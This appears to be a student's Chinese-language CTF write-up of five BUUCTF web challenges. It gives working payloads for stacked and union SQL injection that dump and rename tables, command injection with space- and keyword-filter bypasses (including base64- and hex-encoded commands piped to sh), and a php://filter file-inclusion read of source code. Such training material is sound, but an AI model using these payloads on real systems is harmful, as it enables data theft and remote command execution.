buuctf web题
六、[强网杯 2019]随便注
首先查看源代码,注释里有提到sqlmap,去学习一下
什么是SQL注入
没啥思路去看看wp ,几乎照搬。
解题直接看下面加粗部分
先输入1’ or 1=1 #注释掉后面的,得到:
好像没什么用
sql语句中order by 1或者order by 2…order by N
其实1表示第一个栏位,2表示第二栏位
依此类推,当表中只有2个栏位时,oder by 3就会出错
输入:1’ order by 2;#没有报错(这里’ 作用是输入语句的’,order by 是sql查表,#是注释掉后面的东西
输入:1’ order by 3;#报错了,说明没有第三列
输入:1’; show tables;#展示一下所有的表,这儿找到两个,
一个:1919810931114514
另一个:words
看一下里面有什么
输入:1’ ;show columns fromwords
;# 表名首尾要有`(word左右各有一个,这儿冲突了)
可以看到words表里有两个属性,即两列:id 和data
输入:1’ ;show columns from1919810931114514
;#(记得表名前后有符号哦)
此表里只有一个属性列,说明输入框可能查询的就是words表
后台sql语句可能为select id,data from words where id=
接下来就是如何获取flag了
思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload:
1’;rename table words
to words2;
rename table 1919810931114514
to words
;
alter table words change flag id varchar(100);
show tables;
show columns from words;#
关于varchar(100):
4.0版本以下,varchar(100),指的是100字节,如果存放UTF8汉字时,只能存33个(每个汉字3字节)
5.0版本以上,varchar(100),指的是100字符,无论存放的是数字、字母还是UTF8汉字(每个汉字3字节),都可以存放100个。
MySQL中desc命令的两个用法:
转自:https://blog.youkuaiyun.com/weibo1230123/article/details/90511411
①desc查看表结构的详细信息 desc table_name;PS:此处desc是describe的缩写,用法: desc 表名/查询语句
②desc降序排列数据 select ename,sal from emp order by sal desc;
手动指定按照薪水由大到小排序(降序关键字desc) select ename,sal from emp order by sal
asc; 手动指定按照薪水由小到大排序(升序关键字 asc) PS:此处desc是descend的缩写, 用法:select *
from 表 order by 字段 desc
照着输不知道为什么报错,换个wp
输入:0’ ;show datebases ;#参看一下所有的库名
输入:0’ ; select 1,2,databases ;#看一下有哪些被过滤掉的函数,由于select被过滤了,union查询也就用不上了。
继续查表,刚刚发现flag在1919表中(刚刚查表输入的是1’ ;show columns from1919810931114514
;#,这儿还可以用0’ ;desc 1919810931114514
;#)
接着用改名字的方式获取flag,因为flag在1919的表中,所以我们最后要查询的是1919的表,
注意:在windows系统下,反单引号是数据库、表、索引、列和别名用的引用符 eg. mysql> SELECT * FROM
table
WHEREid
= ‘123’ ;
1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关
这个地方我不理解,刚刚查表的时候words就是用``引起来了啊
解题过程:
words表里有两列数据,可以推测查询都是在words表里查询的
那么查询语句很有可能是 : selsect id,data from words where id =
那我们就把原来的words表名改成words1,再把有flag的1919表的名字改成words,然后把原来1919表里的flag列改成列名为id,创建一个data列,这样就可以查询啦
输入:0’ ; rename table words to words1; rename table 1919810931114514
to words; alter table words change flag id varchar(100) ;#
这次没有报错
查询看看新words有没有改flag为id
输入:0’ ;desc words
; #
最后用回显数据的sql注入语句,有其他能回显的永真语句都可以
输入:1’ or 1=1;# ,得到flag
七、[GXYCTF2019]Ping Ping Ping
参考上一题试试
先试着用127.0.0.1|ls查一下目录,第五题是用输入框,这题是用get传参
url/?ip=127.0.0.1|ls
看到有两个文件,先传个flag.php试试
url/?ip=127.0.0.1|ls/?flag.php
再传此IP试试,没有变化
再传个index.php试试,还是一样的
检查源代码也没看到什么提示,cat查看和get传参结果一样,
找找wp吧:wp1 wp2
输入url/?ip=127.0.0.1;cat flag.php,得到的是下图
所以哪种才是cat传参?
没看wp前我是url/?ip=127.0.0.1;cat /flag.php这样传的
区别就是我的多个/,symbol是符号
那按照wp走,space是空格,猜测是空格被过滤掉了,可以其他的替代
第一个失败,符号有问题,用第二个输入url/?ip=127.0.0.1;cat$IFS$1flag.php,提示如下
这里看到flag也被过滤掉了,那用$IFS$1代替空格cat一下index.php
(这儿$后面的数字1可以换成其他数字)
输入url/?ip=127.0.0.1;cat$IFS$1index.php,可以看到这儿被过滤掉的东西
解题过程:
下面提供几种绕过的方法
第一种:
最后一个过滤掉的是xxxfxxxlxxxaxxxgxxx,
用a替换flag中的g,
尝试构造/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
得到flag(这儿也可以多用几个变量互换传递,绕过字符串匹配,实现拼接)
第二种:
将cat flag.php进行base64编码,得到Y2F0IGZsYWcucGhw,
再用base64-d命令来执行
虽然过滤了bash但大部分仍然可以用sh来执行
(找到几个资料,以后看吧:
Linux下shell脚本:bash的介绍和使用(详细)
bash命令
bash运行脚本得几种方法)
构造echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
不能直接放url后面,那应该写成
url/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh这样吧
得到flag
这里不懂管道符|的意思,换成;就不行,127.0.0.1后的;也可以换成|
|:直接执行|后面的语句
; :前后都执行,无论前面真假,同&
第三种:
内联执行的方法
所谓内联,就是将反引号内命令的输出作为输入执行
构造url/?ip=127.0.0.1;cat$IFS$1`ls`
这个wp最后提供了绕过方法,如果没过滤那些字符,好多就可以用的
类似题的大致思路:
cat fl* 用匹配任意 cat fla 用*匹配任意 ca\t fla\g.php 反斜线绕过 cat
fl’'ag.php 两个单引号绕过 echo “Y2F0IGZsYWcucGhw” | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数echo “63617420666c61672e706870” | xxd -r -p | bash
//hex编码绕过(引号可以去掉)echo “63617420666c61672e706870” | xxd -r -p | sh //sh的效果和bash一样
cat fl[a]g.php 用[]匹配
下面是接上面的引用
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量
使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的)
因为在没有传参的情况下,上面的特殊变量都是为空的
通配符:
*#匹配全部字符,通配符
? #任意一个字符,通配符
[] #表示一个范围(正则,通配符)
{} #产生一个序列(通配符)
八、[SUCTF 2019]EasySQL
随意输入1
输入1’ or 1=1 #闭包处理
仿照第六题,
查一下表名:0’ ;show tables ;# ,没有回显
查一下库名:0’ ;show datebases ;#,没有回显
查一下有哪些被过滤掉的东西:0’ ; select 1,2,databases ;#,没有回显
这里我不理解为什么不能用闭包
输入:1;show databases;判断注入类型
判断需要用堆叠注入
学习一下堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如:select * from users;show databases;
输入:1;show tables;
当前在表flag中
这道题目需要我们去对后端语句进行猜解
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
后台语句为:select $post[‘query’]||flag from Flag
直接看解法,还是有点懵,里面还有很多不懂得语法
①输入:*,1
内置的sql语句为select $_POST['query'] || flag from flag
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,
也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
②输入:1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,
我们执行的语句分别为select 1
和set sql_mode=pipes_as_concat
和select 1||flag from Flag,
读出flag
九、[极客大挑战 2019]Secret File
先查看源代码
发现有个叫Archive_room.php的文件,放入url看看
点击SECRET(秘密),说查阅结束
查看源码也没发现什么,那就在SECRET那查看源码,nothing,在点击SECRET那抓个包看看,重发发现了注释里有secr3t.php文件
放入url看看
代码审计一下吧(我不太会),需要有file,然后flag在flag.php那。
单纯的url/flag.php得不到任何东西,查看wp,解释如下:这里它利用了filter伪协议,该协议刚好就能够查看文件包含的漏洞,所以当我们利用该协议查看flag.php时,会将它的源代码爆出来,但是因为base64的加密原因,所以我们还需要进行一次base64解密。
那先构造一下:url?file=php://filter/convert.base64-encode/resource=flag.php
利用火狐里的HackBar可以快速构造,把page改成file,把index.php改成flag.php
LFI:漏洞
wrapper:封装
得到下面一串符号,是经过base64加密的,那我们解密看看吧
解密完就可以看到flag啦
十、[极客大挑战 2019]LoveSQL
这题不太会,就是爆表爆字符段的那些不会写,几乎照搬wp
尝试万能密码
登录成功,可是这不是flag,用md5解密无果
这主要还是注入查询字符段
url中输入:
/check.php?username=admin' order by 3%23&password=1
(这儿是直接在url中输入的,所以#要url加密成%23)
输入:
/check.php?username=admin' order by 4%23&password=1
报错,说明只有三个字段
用union查询测试注入点(回显点位):
/check.php?username=1' union select 1,2,3%23&password=1
得到回显点位为2和3(这里不理解在干嘛)
查询当前数据库名及版本:
/check.php?username=1' union select 1,database(),version()%23&password=1
可知当前数据库为geek
接下来爆表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
说明有两个表,geekuser,l0ve1ysq1
查一下第二个表
爆字段:/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
这儿可以看到有三个字段
接着爆数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
看到了flag
查看源代码方便复制一下flag